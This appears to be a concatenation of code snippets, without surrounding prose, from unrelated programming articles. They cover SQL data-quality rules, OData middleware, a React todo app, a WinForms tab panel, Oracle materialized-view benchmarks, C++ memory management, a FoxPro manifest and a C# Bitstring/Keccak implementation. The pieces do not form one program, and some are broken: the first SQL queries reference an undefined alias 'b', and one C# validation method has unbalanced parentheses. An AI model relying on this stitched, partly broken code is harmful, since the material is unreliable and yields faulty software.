insert into dbo.tbl_Outcome
select 5 as id_Rule_Parameter_Set_Fk, -1 as id_Fact_Table, a.Surrogate_Key
from fac_Sales a
where isnumeric(b.valSalesMonth) = 0

/* Rule Id 4 / Parameter Set 6 */
insert into dbo.tbl_Outcome
select 6 as id_Rule_Parameter_Set_Fk, -1 as id_Fact_Table, a.Surrogate_Key
from fac_Sales a
where isnumeric(b.valAge) = 0</pre>


<pre lang="C#">
Regex replaceToLowerRegex = 
         new Regex(@"contains\((?&lt;columnName&gt;\w+),.*(?&lt;value&gt;(\'|%27).+(\'|%27))\)");
var s = replaceToLowerRegex.Replace(context.Request.QueryString.Value, 
         @"contains(tolower(${columnName}),tolower(${value}))");</pre>


<pre lang="C#">
public class ODataQueryStringFixer : IMiddleware
{
  private static readonly Regex ReplaceToLowerRegex =
    new Regex(@"contains\((?&lt;columnName&gt;\w+),");

  public Task InvokeAsync(HttpContext context, RequestDelegate next)
  {
    var input = context.Request.QueryString.Value;
    var replacement = @"contains(tolower($1),";
    context.Request.QueryString =
      new QueryString(ReplaceToLowerRegex.Replace(input, replacement));

    return next(context);
  }
}</pre>


<pre lang="C#">
public void ConfigureServices(IServiceCollection services)
{
    // the database filename is stored in the appsettings.json
    var connectionString = Configuration.GetConnectionString(nameof(ApplicationDbContext));
    services.AddDbContext&lt;ApplicationDbContext&gt;(optionsAction =&gt;
        optionsAction.UseSqlite(connectionString));

    // declare OWIN middleware as a service
    services.AddSingleton&lt;ODataQueryStringFixer&gt;();

    services.AddOData();

    services.AddMvc();
}</pre>


<pre lang="C#">
public void Configure(IApplicationBuilder app,
    IHostingEnvironment env, IServiceProvider serviceProvider)
{
    if (env.IsDevelopment())
    {
        app.UseDeveloperExceptionPage();
    }

    // create and populate DB
    serviceProvider.InitializeDb();

    // anchor OWIN middleware in the pipe
    app.UseODataQueryStringFixer();

    // configure OData model
    var builder = new ODataConventionModelBuilder(serviceProvider);
    builder.EntitySet&lt;Person&gt;("Persons").EntityType
        .OrderBy(
            nameof(Person.Name),
            nameof(Person.Birthday))
        .Filter(
            nameof(Person.Name));

    // configure OData routing
    app.UseMvc(routeBuilder =&gt;
        routeBuilder.MapODataServiceRoute("OData", "odata", builder.GetEdmModel()));
}</pre>


<pre lang="React">
import React, { Component } from 'react';
import logo from './logo.svg';
import './App.css';

class App extends Component {
  render() {
    return (
      &lt;div className="App"&gt;
      &lt;/div&gt;
    );
  }
}

export default App;</pre>


<pre lang="React">
import React, { Component } from 'react';
import './App.css';
const request = require("es6-request");

class App extends Component {
  constructor() {
    super();
    this.state = { todoList: [], newItem: null }
    this.addItem = this.addItem.bind(this);
    this.onNewItemChange = this.onNewItemChange.bind(this);
  }

  onNewItemChange(e) {
    this.setState({ newItem: e.target.value });
  }

  addItem(item) {
    let newItem = this.state.newItem;
    let newId = this.state.newId;

    request.put('http://localhost:5000/todos/item' + newId)
    .send(newItem)
    .then(([body, res]) =&gt; {
        this.updateTodoList();
    })
  }

  componentDidMount() {
    this.updateTodoList();
  }

  updateTodoList() {
    request.get('http://localhost:5000/todos/').then(([body, res]) =&gt; {
      let result = JSON.parse(body);
      this.setState({
        todoList: result,
        newId: Object.keys(result).length + 1
      })
    });
  }

  render() {
    let todos = [];
    for (let key in this.state.todoList) {
      todos.push(&lt;p key={key}&gt;- { this.state.todoList[key] }&lt;/p&gt;);
    }

    return (
      &lt;div className="App"&gt;
        &lt;h2&gt;Todo list:&lt;/h2&gt;
        {todos}
        &lt;input type="text" id="TX_NewItem" onChange={ this.onNewItemChange }/&gt;
        &lt;button onClick={this.addItem}&gt;Add to list&lt;/button&gt;
      &lt;/div&gt;
    );
  }
}

export default App;</pre>


<pre lang="C#">
        private void Form1_Shown(object sender, EventArgs e)
        {
            foreach (var tabpanel in this.advancedTabPanel1.Tabs)
            {
                // Attach event handler to all tabs.
                tabpanel.Click += this.TabClick;
            }
        }

        private void TabClick(object sender, EventArgs e)
        {
            BevelPanel.AdvancedTab tab = sender as BevelPanel.AdvancedTab;
            this.labelNumber.Text = tab.TabNumber.ToString();
            this.label1.Text = tab.Name + " click";
            this.advancedTabPanel1.TabActive = tab.TabNumber;
        }</pre>


<pre lang="C#">
using System;
using System.Drawing;
using System.Windows.Forms;

namespace PanelExample
{
    /// &lt;summary&gt;
    /// Demonstrates &lt;see cref="BevelPanel.AdvancedTabPanel"/&gt; 
    /// a modified version of AdvancedPanel containing a List of tabs.
    /// &lt;/summary&gt;
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            this.advancedTabPanel1.TabActive = 1;
        }

        private void Form1_Shown(object sender, EventArgs e)
        {
            foreach (var tabpanel in this.advancedTabPanel1.Tabs)
            {
                // Attach event handler to all tabs.
                tabpanel.Click += this.TabClick;
            }
        }

        /// &lt;summary&gt;
        /// Note that labelNumber and labelStatus do not have a number as Tag and 
        /// will be visible on all tab pages.
        /// &lt;/summary&gt;
        private void TabClick(object sender, EventArgs e)
        {
            BevelPanel.AdvancedTab tab = sender as BevelPanel.AdvancedTab;
            this.labelNumber.Text = tab.TabNumber.ToString();
            this.labelStatus.Text = tab.Name + " click";
            this.advancedTabPanel1.TabActive = tab.TabNumber;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            this.labelStatus.Text = "We wish you happy advanced tab panel usage !";
            this.advancedTabPanel1.Tabs[0].TabColorUnselected = Color.Red;
            this.advancedTabPanel1.Tabs[1].TabColorUnselected = Color.Yellow;
            this.advancedTabPanel1.Tabs[2].TabColorUnselected = Color.Lime;
            this.advancedTabPanel1.Tabs[3].TabColorUnselected = Color.Pink;
            this.advancedTabPanel1.Tabs[0].RotatedTextAngle = -5;
            this.advancedTabPanel1.Tabs[1].RotatedTextAngle = 10;
            this.advancedTabPanel1.Tabs[2].RotatedTextAngle = -10;
        }

        private void buttonExit_Click(object sender, EventArgs e)
        {
            // Exit button.
            foreach (var tabpanel in this.advancedTabPanel1.Tabs)
            {
                // Remove event handler from all tabs.
                tabpanel.Click -= this.TabClick;
            }

            this.Close();
        }
    }
}</pre>


<pre lang="SQL">
/**************************************************************************************
creates a dummy dimension table with city names and surrogate keys
**************************************************************************************/
create table dim_city (city_sk number(5), city_name varchar2(50)) compress nologging;
create unique index ix_pk_dim_city on dim_city (city_sk) nologging pctfree 1 storage _
(buffer_pool default flash_cache default cell_flash_cache default) noparallel;
alter table dim_city add constraint ix_pk_dim_city primary key (city_sk);
insert into dim_city values(0, 'Unknown');
insert into dim_city values(1, 'Lisbon');
insert into dim_city values(2, 'London');
insert into dim_city values(3, 'Paris');
insert into dim_city values(4, 'Amsterdam');
insert into dim_city values(5, 'Brussels');
commit;
/*************************************************************************************
creates a dummy dimension table with transportation types and surrogate keys
**************************************************************************************/
create table dim_transport(transport_sk number(5), transport_name varchar2(50)) compress nologging;
create unique index ix_pk_dim_transport on dim_transport (transport_sk) nologging pctfree _
1 storage (buffer_pool default flash_cache default cell_flash_cache default) noparallel;
alter table dim_transport add constraint ix_pk_dim_transport primary key (transport_sk);
insert into dim_transport values(0, 'Unknown');
insert into dim_transport values(1, 'Plane');
insert into dim_transport values(2, 'Car');
insert into dim_transport values(3, 'Train');
insert into dim_transport values(4, 'Bus');
commit; </pre>


<pre lang="SQL">
/*************************************************************************************
creates a dummy fact table with 16.000.000 random data rows
the logic assigns higher values to trips made to London, Paris or Amsterdam
**************************************************************************************/
create table fac_trip
nologging
compress
noparallel as
with tbl_aux(line_id) as (select level - 1 as line_id
                         from dual
                         connect by level &lt;= 4000),
    tbl_aux_2 as (select  rownum as fac_sk,
                          round(dbms_random.value(0, 5), 0) as city_fk,
                          round(dbms_random.value(0, 4), 0) as transport_fk,
                          date'2016-01-01' + dbms_random.value(0, 500) as dat_trip_start,
                          dbms_random.value(0, 9) as val_trip_dur_hours,
                          dbms_random.value(0, 2250) as val_trip_cost,
                          1 as qty_trip
                  from tbl_aux a
                  cross join tbl_aux b)
select cast(w.fac_sk as number(10)) as fac_sk,
      cast(w.city_fk as number(5)) as city_fk,
      cast(w.transport_fk as number(5)) as transport_fk,
      w.dat_trip_start,
      case when w.city_fk in (2, 3, 4) then w.val_trip_dur_hours * dbms_random.value(1, 1.5) _
                else w.val_trip_dur_hours end as val_trip_dur_hours,
      case when w.city_fk in (2, 3, 4) then w.val_trip_cost * dbms_random.value(1, 1.5) _
                else w.val_trip_cost end as val_trip_cost,
      cast(w.qty_trip as number(1)) as qty_trip
from tbl_aux_2 w; </pre>


<pre lang="SQL">
/**************************************************************************************
estimates statistics for the created tables
**************************************************************************************/
execute dbms_stats.gather_table_stats(ownname =&gt; 'your_owner_here', _
tabname =&gt; 'dim_city', cascade =&gt; true, estimate_percent =&gt; dbms_stats.auto_sample_size);
execute dbms_stats.gather_table_stats(ownname =&gt; 'your_owner_here', _
tabname =&gt; 'dim_transport', cascade =&gt; true, estimate_percent =&gt; dbms_stats.auto_sample_size);
execute dbms_stats.gather_table_stats(ownname =&gt; 'your_owner_here', _
tabname =&gt; 'fac_trip', cascade =&gt; true, estimate_percent =&gt; dbms_stats.auto_sample_size); </pre>


<pre lang="SQL">
/**************************************************************************************
creates four materialized views so they are used in the test script bellow the idea will be 
to run several queries against our dummy fact table with enable query rewrite and 
without enable query rewrite
**************************************************************************************/
create materialized view fac_trip_agg_city_cost
nologging
cache
build immediate
enable query rewrite as
select b.city_sk,
      b.city_name,
      avg(a.val_trip_cost) as metric_value
From fac_trip a,
    dim_city b
where a.city_fk = b.city_sk
group by b.city_sk,
        b.city_name;
create materialized view fac_trip_agg_city_duration
nologging
cache
build immediate
enable query rewrite as
select b.city_sk,
      b.city_name,
      avg(A.val_trip_dur_hours) as metric_value
From fac_trip a,
    dim_city b
where a.city_fk = b.city_sk
group by b.city_sk,
        b.city_name;
create materialized view fac_trip_agg_transp_cost
nologging
cache
build immediate
enable query rewrite as
select b.transport_sk,
      b.transport_name,
      avg(a.val_trip_cost) as metric_value
From fac_trip a,
    dim_transport b
where a.transport_fk = b.transport_sk
group by b.transport_sk,
        b.transport_name;
create materialized view fac_trip_agg_transp_duration
nologging
cache
build immediate
enable query rewrite as
select b.transport_sk,
      b.transport_name,
      avg(A.val_trip_dur_hours) as metric_value
From fac_trip a,
    dim_transport b
where a.transport_fk = b.transport_sk
group by b.transport_sk,
        b.transport_name;</pre>


<pre lang="SQL">
/**************************************************************************************
creates two tables to store the test query results
**************************************************************************************/
create table tbl_aux_stats_city
(
 iteration               number(3),
 iteration_type          varchar2(1),
 metric_name             varchar2(50),
 city_name               varchar2(50),
 metric_value            number
)
nologging
noparallel
nocache;

create table tbl_aux_stats_transport
(
 iteration               number(3),
 iteration_type          varchar2(1),
 metric_name             varchar2(50),
 transport_name          varchar2(50),
 metric_value            number
)
nologging
noparallel
nocache;

/***************************************************************************************
and a table to store the executions' timings
***************************************************************************************/
create table tbl_aux_stats_time
(
 iteration               number(3),
 iteration_type          number(1),
 start_time              timestamp,
 end_time                timestamp
)
nologging
noparallel
nocache;</pre>


<pre lang="SQL">
/**************************************************************************************
simulates 100 queries against our test dimensional model
**************************************************************************************/
declare
    start_time       timestamp;
    inf_value        number(5);
    sup_value        number(5);
begin
    execute immediate 'alter session set query_rewrite_enabled = true';
    execute immediate 'truncate table tbl_aux_stats_time';
    execute immediate 'truncate table tbl_aux_stats_city';
    execute immediate 'truncate table tbl_aux_stats_transport';
    for idxm in 1..2 loop
       if idxm = 1 then
           execute immediate 'alter materialized view fac_trip_agg_city_cost disable query rewrite';
           execute immediate 'alter materialized view fac_trip_agg_city_duration disable query rewrite';
           execute immediate 'alter materialized view fac_trip_agg_transp_cost disable query rewrite';
           execute immediate 'alter materialized view fac_trip_agg_transp_duration disable query rewrite';
           --execute immediate 'alter session set query_rewrite_enabled = false';
       else
           execute immediate 'alter materialized view fac_trip_agg_city_cost enable query rewrite';
           execute immediate 'alter materialized view fac_trip_agg_city_duration enable query rewrite';
           execute immediate 'alter materialized view fac_trip_agg_transp_cost enable query rewrite';
           execute immediate 'alter materialized view fac_trip_agg_transp_duration enable query rewrite';
       end if;

       for idx in 1..50 loop
           start_time := systimestamp;

           /*******************************************************
           metrics by city
           *******************************************************/
           inf_value := round(dbms_random.value(0, 5), 0);
           sup_value := round(dbms_random.value(inf_value, 5), 0);
           insert into tbl_aux_stats_city
           select idx as iteration,
                  idxm as iteration_type,
                  'Avg Cost' as metric_name,
                  b.city_name,
                  avg(a.val_trip_cost) as metric_value
           from fac_trip a,
                dim_city b
           where a.city_fk = b.city_sk and
                 b.city_sk between inf_value and sup_value
           group by b.city_sk,
                    b.city_name
           union all
           select idx as iteration,
                  idxm as iteration_type,
                  'Avg Duration' as metric_name,
                  b.city_name,
                  avg(a.val_trip_dur_hours) as metric_value
           from fac_trip a,
                dim_city b
           where a.city_fk = b.city_sk and
                 b.city_sk between inf_value and sup_value
           group by b.city_sk,
                    b.city_name;

           /*******************************************************
           metrics by transport type
           *******************************************************/
           insert into tbl_aux_stats_transport
           select idx as iteration,
                  idxm as iteration_type,
                  'Avg Cost' as metric_name,
                  b.transport_name,
                  avg(a.val_trip_cost) as metric_value
           from fac_trip a,
                dim_transport b
           where a.transport_fk = b.transport_sk and
                 b.transport_sk between inf_value and sup_value
           group by b.transport_sk,
                    b.transport_name
           union all
           select idx as iteration,
                  idxm as iteration_type,
                  'Avg Duration' as metric_name,
                  b.transport_name,
                  avg(a.val_trip_dur_hours) as metric_value
           from fac_trip a,
                dim_transport b
           where a.transport_fk = b.transport_sk and
                 b.transport_sk between inf_value and sup_value
           group by b.transport_sk,
                    b.transport_name;

           /*******************************************************/
           insert into tbl_aux_stats_time
           values (idx, idxm, start_time, systimestamp);
           commit;
       end loop;
    end loop;
end;
/ </pre>


<pre lang="SQL">
with tbl_aux as (select a.iteration,
                          a.iteration_type,
                          ((a.end_time + 0) - (a.start_time + 0)) * 24 * 60 * 60 as elapsed_time_seconds
                from  migra_arf.tbl_aux_stats_time a),
    tbl_aux_2 as (select a.iteration,
                         max(case when a.iteration_type = 1 then a.elapsed_time_seconds else null end) as elapsed_time_seconds_1,
                         max(case when a.iteration_type = 2 then a.elapsed_time_seconds else null end) as elapsed_time_seconds_2
                  from tbl_aux a
                  group by a.iteration)
select o.iteration,
      o.elapsed_time_seconds_1,
      sum(o.elapsed_time_seconds_1) over (order by o.iteration rows unbounded preceding) as elapsed_cum_time_seconds_1,
      o.elapsed_time_seconds_2,
      sum(o.elapsed_time_seconds_2) over (order by o.iteration rows unbounded preceding) as elapsed_cum_time_seconds_2
from tbl_aux_2 o
order by 1</pre>


<pre lang="C++">
void* operator new(size_t count) {
    cout &lt;&lt; "allocating " &lt;&lt; count &lt;&lt; " bytes\n";
    return malloc(count);
}

void operator delete(void* ptr) noexcept {
    cout &lt;&lt; "global op delete called\n";
    free(ptr);
}

struct MyLargeType {
    ~MyLargeType() { cout &lt;&lt; "destructor MyLargeType\n"; }

private:
    int arr[100]; // wow... so large!!!!!!
};</pre>


<pre lang="C++">
~shared_ptr() _NOEXCEPT
{   // release resource
    this-&gt;_Decref();
}

void _Decref()
{    // decrement use count
    if (_MT_DECR(_Uses) == 0)
    {    // destroy managed resource,
        // decrement weak reference count
        _Destroy();
        _Decwref();
    }
}

void _Decwref()
{    // decrement weak reference count
    if (_MT_DECR(_Weaks) == 0)
    {
        _Delete_this();
    }
}</pre>


<pre lang="C#">
public class TweetEntity
{                
    [JsonProperty("id")]
    public long Id { get; set; }        
        
    [JsonProperty("full_text")]
    public string FullText { get; set; }

    [JsonProperty("user")]
    public UserEntity CreatedBy { get; set; }
...
}
</pre>


<pre lang="XML">
	&lt;?xml version="1.0" standalone="yes"?&gt;
	&lt;assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"&gt;
	&lt;assemblyIdentity
	version="9.0.0.0"
	type="win32"
	name="&lt;Foxpro EXE Name&gt;"
	processorArchitecture="x86"
	/&gt;
	&lt;description&gt;&lt;Description about Foxpro EXE&gt;&lt;/description&gt;
	&lt;dependency&gt;
	&lt;dependentAssembly&gt;
	&lt;assemblyIdentity
	type="win32"
	name="Microsoft.Windows.Common-Controls"
	version="6.0.0.0"
	language="*"
	processorArchitecture="x86"
	publicKeyToken="6595b64144ccf1df"
	/&gt;
	&lt;/dependentAssembly&gt;
	&lt;/dependency&gt;
	&lt;dependency&gt;
	&lt;dependentAssembly&gt;
	&lt;assemblyIdentity
	type="win32"
	name="&lt;.Net Assembly name&gt;"
	version="&lt;.Net Assembly version&gt;"
	publicKeyToken="&lt;.Net Assembly publickey token&gt;"
	/&gt;
	&lt;/dependentAssembly&gt;
	&lt;/dependency&gt;
	&lt;/assembly&gt;
	</pre>


<pre lang="C#">
public static byte LowerMask(int count) {
   byte value = 0;
   if (count &gt; 0) {
      count %= 8;
      if (count == 0) {
         value = 255;
      }
      else {
         for (int i = 0; i &lt; count; i++) {
            value |= (byte)(1 &lt;&lt; i);
         }
      }
   }
   return value;
}</pre>


<pre lang="C#">
private static readonly int[] _b = new int[] { 2, 12, 240, 65280, -65536 };
private static readonly int[] _s = new int[] { 1, 2, 4, 8, 16 };

public static int Log2(int value) {
   int log = 0;
   for (int i = 4; i &gt; -1; i--) {
      if ((value &amp; _b[i]) != 0) {
         value &gt;&gt;= _s[i];
         log |= _s[i];
      }
   }
   return log;
}</pre>


<pre lang="C#">
public sealed class Bitstring : IEquatable&lt;Bitstring&gt;, IEnumerable&lt;bool&gt;
{
   public const int BlockBitSize = 8;
   public const int BlockByteSize = BlockBitSize &gt;&gt; Shift;
   public const int Shift = 3;

   private byte[] _data;
   private int _length;

   public int BlockCount { get { return _data.Length; } }

   public int Length { get { return _length; } }

   public bool this[int index] {
      get {
         if ((index &lt; 0) || (index &gt;= _length)) {
            throw new ArgumentOutOfRangeException(nameof(index));
         }
         int blockIndex = index &gt;&gt; Shift;
         int bitOffset = index % BlockBitSize;
         byte chunk = _data[blockIndex];
         byte mask = (byte)(1 &lt;&lt; bitOffset);
         return ((chunk &amp; mask) == mask);
      }
      set {
         if ((index &lt; 0) || (index &gt;= _length)) {
            throw new ArgumentOutOfRangeException(nameof(index));
         }
         int blockIndex = index &gt;&gt; Shift;
         int bitOffset = index % BlockBitSize;
         byte chunk = _data[blockIndex];
         byte mask = (byte)(1 &lt;&lt; bitOffset);
         if (value) {
            _data[blockIndex] |= mask;
         }
         else {
            _data[blockIndex] &amp;= (byte)(~mask &amp; 0xFF);
         }
      }
   }
}
</pre>


<pre lang="C#">
public bool Equals(Bitstring other) {
   if (ReferenceEquals(other, null)) {
      return false;
   }
   if (ReferenceEquals(this, other)) {
      return true;
   }
   return (_length == other._length) &amp;&amp; Enumerable.SequenceEqual(_data, other._data);
}

public override bool Equals(object obj) {
   return (obj is Bitstring) &amp;&amp; Equals((Bitstring)obj);
}

public override int GetHashCode() {
   // HashCoder&lt;T&gt; class is not described in this article, but source file
   // is provided in solution download.
   return HashCoder&lt;int&gt;.Boost.Compute(_length, HashCoder&lt;byte&gt;.Boost.Compute(_data));
}

public static bool operator ==(Bitstring lhs, Bitstring rhs) {
   return ReferenceEquals(lhs, rhs) || (!ReferenceEquals(lhs, null) &amp;&amp; lhs.Equals(rhs));
}

public static bool operator !=(Bitstring lhs, Bitstring rhs) {
   return !ReferenceEquals(lhs, rhs) &amp;&amp; (ReferenceEquals(lhs, null) || !lhs.Equals(rhs));
}
</pre>


<pre lang="C#">
public IEnumerator&lt;bool&gt; GetEnumerator() {
   return GetBits().GetEnumerator();
}

IEnumerator IEnumerable.GetEnumerator() {
   return GetEnumerator();
}

private IEnumerable&lt;bool&gt; GetBits() {
   for (int i = 0; i &lt; _length; i++) {
      yield return this[i];
   }
}
</pre>


<pre lang="C#">
public Bitstring(Bitstring bitstring) {
   bitstring = bitstring ?? throw new ArgumentNullException(nameof(bitstring));
   int count = bitstring.BlockCount;
   _data = new byte[count];
   Array.Copy(bitstring._data, 0, _data, 0, count);
   _length = bitstring._length;
}</pre>


<pre lang="C#">
public Bitstring(IEnumerable&lt;bool&gt; bits) {
   bits = bits ?? throw new ArgumentNullException(nameof(bits));
   _data = Parse(bits, out _length);
}

private static byte[] Parse(IEnumerable&lt;bool&gt; bits, out int length) {
   // 200 bytes -&gt; 1600 bits for most common used Keccak-p permutations
   List&lt;byte&gt; bytes = new List&lt;byte&gt;(200);
   byte value = 0;
   int index = 0;
   bool add = true;
   length = 0;
   foreach (bool bit in bits) {
      length++;
      if (bit) {
         value |= (byte)(1 &lt;&lt; index);
      }
      if (++index &gt; 7) {
         index = 0;
         bytes.Add(value);
         value = 0;
         add = false;
      }
      else if (!add) {
         add = true;
      }
   }
   if (add) {
      bytes.Add(value);
   }
   return bytes.ToArray();
}</pre>


<pre lang="C#">
public Bitstring(string bits, int length = -1) {
   if (ValidateAndSanitize(ref bits, ref length)) {
      int count = (int)Math.Ceiling((double)length / BlockBitSize);
      _data = new byte[count];
      int left = bits.Length;
      int i;
      // Stop the loop either when there is less than 8 bits to parse, or when desired length
      // exceeds the size of specified string.
      for (i = 0; (left &gt;= BlockBitSize) &amp;&amp; ((i &lt;&lt; Shift) &lt; length); i++) {
         _data[i] = ParseByte(bits.Substring(i &lt;&lt; Shift, BlockBitSize));
         left -= BlockBitSize;
      }
      if (left &gt; 0) {
         _data[i] = ParseByte(bits.Substring(i &lt;&lt; Shift, left));
      }
      _length = length;
   }
   else {
      throw new ArgumentException("Invalid bitstring representation.", nameof(bits));
   }
}

// Only 0's, 1's or whitespaces, empty string allowed
private static readonly Regex _bitstringRegex
   = new Regex(
      @"^[01\s]*$",
      RegexOptions.Compiled | RegexOptions.CultureInvariant
);

private static bool ValidateAndSanitize(ref string bits, ref int length) {
   return (ValidateBits(ref bits) &amp;&amp; ValidateLength(ref length, bits.Length);
}

private static bool ValidateBits(ref string bits) {
   bool ok = (bits != null);
   if (ok) {
      ok = _bitstringRegex.IsMatch(bits);
      if (ok &amp;&amp; bits.Contains(" ")) {
         bits = bits.Replace(" ", "");
      }
   }
   return ok;
}

private static bool ValidateLength(ref int length, int stringLength) {
   if (length &lt; 0) {
      length = stringLength;
   }
   return true;
}

private static byte ParseByte(string chunk) {
   byte result = 0;
   int length = chunk.Length;
   for (int i = 0; i &lt; length; i++) {
      if (chunk[i] == '1') {
         result |= (byte)(1 &lt;&lt; i);
      }
   }
   return result;
}</pre>


<pre lang="C#">
public Bitstring(byte[] data, int length = -1) {
   // Sanity checks
   data = data ?? throw new ArgumentNullException(nameof(data));
   int count = data.Length;
   int bitCount = count &lt;&lt; Shift;
   _length = (length &lt; 0) ? bitCount : length;
   if (_length &gt; bitCount) {
      throw new ArgumentOutOfRangeException(nameof(length));
   }
   // If the full range of bits is to be considered, whole process is a lot simpler.
   if (_length != bitCount) {
      // How many blocks will we need?
      count = (int)Math.Ceiling((double)_length / BlockBitSize);
      Array.Resize(ref data, count);
      // If the last block is not full, zero the trailing bits which do not belong
      // to the bitstring.
      int remaining = _length % BlockBitSize;
      if (remaining &gt; 0) {
         data[count - 1] &amp;= Bin.LowerMask(remaining);
      }
   }
   _data = data;
}</pre>


<pre lang="C#">
public Bitstring Append(byte[] bytes) {
   if (bytes != null) {
      if ((_length % BlockBitSize) == 0) { // Array copy if aligned data
         int count = bytes.Length;
         int oldCount = BlockCount;
         Array.Resize(ref _data, oldCount + count);
         Array.Copy(bytes, 0, _data, oldCount, count);
         _length += count &lt;&lt; Shift;
      }
      else {                               // Enumeration if unaligned data
         return Append(new Bitstring(bytes));
      }
   }
   return this;
}

public Bitstring Append(IEnumerable&lt;bool&gt; bits) {
   int count = bits?.Count() ?? 0;
   if (count &gt; 0) {
      int blockIndex = _length &gt;&gt; Shift;
      int bitOffset = _length % BlockBitSize;
      _length += count;
      int newBlockCount = (int)Math.Ceiling((double)_length / BlockBitSize);
      if (newBlockCount &gt; BlockCount) {
         Array.Resize(ref _data, newBlockCount);
      }
      foreach (bool bit in bits) {
         if (bit) {
            _data[blockIndex] |= (byte)(1 &lt;&lt; bitOffset);
         }
         if (++bitOffset &gt; 7) {
            bitOffset = 0;
            blockIndex++;
         }
      }
   }
   return this;
}</pre>


<pre lang="C#">
public Bitstring Prepend(byte[] bytes) {
   if (bytes != null) {
      int count = bytes.Length;
      int oldCount = BlockCount;
      Array.Resize(ref _data, oldCount + count);
      Array.Copy(_data, 0, _data, count, oldCount);
      Array.Copy(bytes, 0, _data, 0, count);
      _length += count &lt;&lt; Shift;
   }
   return this;
}

public Bitstring Prepend(IEnumerable&lt;bool&gt; bits) {
   Bitstring copy = new Bitstring(this);
   int count = bits?.Count() ?? 0;
   if (count &gt; 0) {
      _length += count;
      int newBlockCount = (int)Math.Ceiling((double)_length / BlockBitSize);
      if (newBlockCount &gt; BlockCount) {
         Array.Resize(ref _data, newBlockCount);
      }
      int blockIndex = 0;
      int bitOffset = 0;
      foreach (bool bit in bits) {
         if (bit) {
            _data[blockIndex] |= (byte)(1 &lt;&lt; bitOffset);
         }
         else {
            _data[blockIndex] &amp;= (byte)~(1 &lt;&lt; bitOffset);
         }
         if (++bitOffset &gt; 7) {
            bitOffset = 0;
            blockIndex++;
         }
      }
      foreach (bool bit in copy) {
         if (bit) {
            _data[blockIndex] |= (byte)(1 &lt;&lt; bitOffset);
         }
         else {
            _data[blockIndex] &amp;= (byte)~(1 &lt;&lt; bitOffset);
         }
         if (++bitOffset &gt; 7) {
            bitOffset = 0;
            blockIndex++;
         }
      }
   }
   return this;
}</pre>


<pre lang="C#">
public Bitstring SwapBits(int lhs, int rhs) {
   if (IsValidIndex(lhs) &amp;&amp; IsValidIndex(rhs) &amp;&amp; (lhs != rhs)) {
      this[lhs] ^= this[rhs];
      this[rhs] ^= this[lhs];
      this[lhs] ^= this[rhs];
   }
   return this;
}

public bool IsValidIndex(int index) {
   return (index &gt; -1) &amp;&amp; (index &lt; _length);
}</pre>


<pre lang="C#">
public Bitstring Xor(byte[] data) {
   int count = BlockCount;
   if ((data != null) &amp;&amp; (data.Length == count)) {
      for (int i = 0; i &lt; count; i++) {
         _data[i] ^= data[i];
      }
   }
   return this;
}

public Bitstring Xor(Bitstring other) {
   return (other.Length == _length) ? Xor(other._data) : this;
}</pre>


<pre lang="C#">
public Bitstring Substring(int index, int length) {
   if (IsValidIndex(index)) {
      if (((index % BlockBitSize) == 0) &amp;&amp; ((length % BlockBitSize) == 0)) {
         int count = length &gt;&gt; Shift;
         byte[] data = new byte[count];
         Array.Copy(_data, index &gt;&gt; Shift, data, 0, count);
         return new Bitstring(data);
      }
      else {
         return new Bitstring(this.Skip(index).Take(length));
      }
   }
   else {
      throw new ArgumentOutOfRangeException(nameof(index));
   }
}</pre>


<pre lang="C#">
public Bitstring Truncate(int length) {
   length = Math.Min(_length, Math.Max(0, length));
   int count = (int)Math.Ceiling((double)length / BlockBitSize);
   byte[] data = new byte[count];
   Array.Copy(_data, 0, data, 0, count);
   int left = length % BlockBitSize;
   if (left != 0) {
      data[count - 1] &amp;= Bin.LowerMask(left);
   }
   return new Bitstring(data, length);
}</pre>


<pre lang="C#">
   static void Main(string[] args) {
      Random random = new Random();
      Func&lt;Bitstring&gt; randomBitstring = () =&gt; { return Bitstring.Random(random, 42); };
      Console.WriteLine(randomBitstring().ToBinString());             // Binary, no spacing
      Console.WriteLine(randomBitstring().ToBinString(4));            // Binary, spacing every fourth digit
      Console.WriteLine(randomBitstring().ToHexString());             // Hexadecimal, spacing, uppercase
      Console.WriteLine(randomBitstring().ToHexString(true, false));  // Hexadecimal, spacing, lowercase
      Console.WriteLine(randomBitstring().ToHexString(false, true));  // Hexadecimal, no spacing, uppercase
      Console.WriteLine(randomBitstring().ToHexString(false, false)); // Hexadecimal, no spacing, lowercase
      Bitstring bitstring = new Bitstring("10100101");
      Console.WriteLine(bitstring.ToBinString());
      bitstring.Xor(Bitstring.Ones(8));
      Console.WriteLine(bitstring.ToBinString());
      Console.ReadKey(true);
   }
</pre>


<pre lang="C#">
public struct SpongeSize
{
   private readonly int _b;

   public int B { get { return _b; } }

   public int W { get { return _b / 25; } }

   public int L { get { return Bin.Log2(W); } }

   internal SpongeSize(int b) {
      _b = b;
   }

   public static readonly SpongeSize W01 = new SpongeSize(25);
   public static readonly SpongeSize W02 = new SpongeSize(50);
   public static readonly SpongeSize W04 = new SpongeSize(100);
   public static readonly SpongeSize W08 = new SpongeSize(200);
   public static readonly SpongeSize W16 = new SpongeSize(400);
   public static readonly SpongeSize W32 = new SpongeSize(800);
   public static readonly SpongeSize W64 = new SpongeSize(1600);
}
</pre>


<pre lang="C#">
public sealed class SpongeState
{
   private readonly int _rate;
   private readonly SpongeSize _size;

   private Bitstring _bitstring;

   public SpongeSize Size { get { return _size; } }

   public int Rate { get { return _rate; } }

   public int Capacity { get { return _size.B - _rate; } }
}
</pre>


<pre lang="C#">
public bool this[int index] {
   get { return _bitstring[index]; }
   set { _bitstring[index] = value; }
}

public bool this[int x, int y, int z] {
   get { return _bitstring[GetIndex(x, y, z)]; }
   set { _bitstring[GetIndex(x, y, z)] = value; }
}
</pre>


<pre lang="C#">
public struct Lane
{
   public readonly SpongeState State;

   public readonly int X;

   public readonly int Y;

   public int Depth { get { return State.Size.W; } }

   internal Lane(SpongeState state, int x, int y) {
      State = state;
      X = x;
      Y = y;
   }

   public IEnumerable&lt;bool&gt; GetBits() {
      int w = State.Size.W;
      for (int z = 0; z &lt; w; z++) {
         yield return State[State.GetIndex(X, Y, z)];
      }
   }
}
</pre>


<pre lang="C#">
private void LaneOperation(OperationDelegate function, Lane lane, IEnumerable&lt;bool&gt; bits) {
   int z = 0;
   foreach (bool bit in bits) {
      this[GetIndex(lane.X, lane.Y, z)] = function(lane.X, lane.Y, z, bit);
      z++;
   }
}

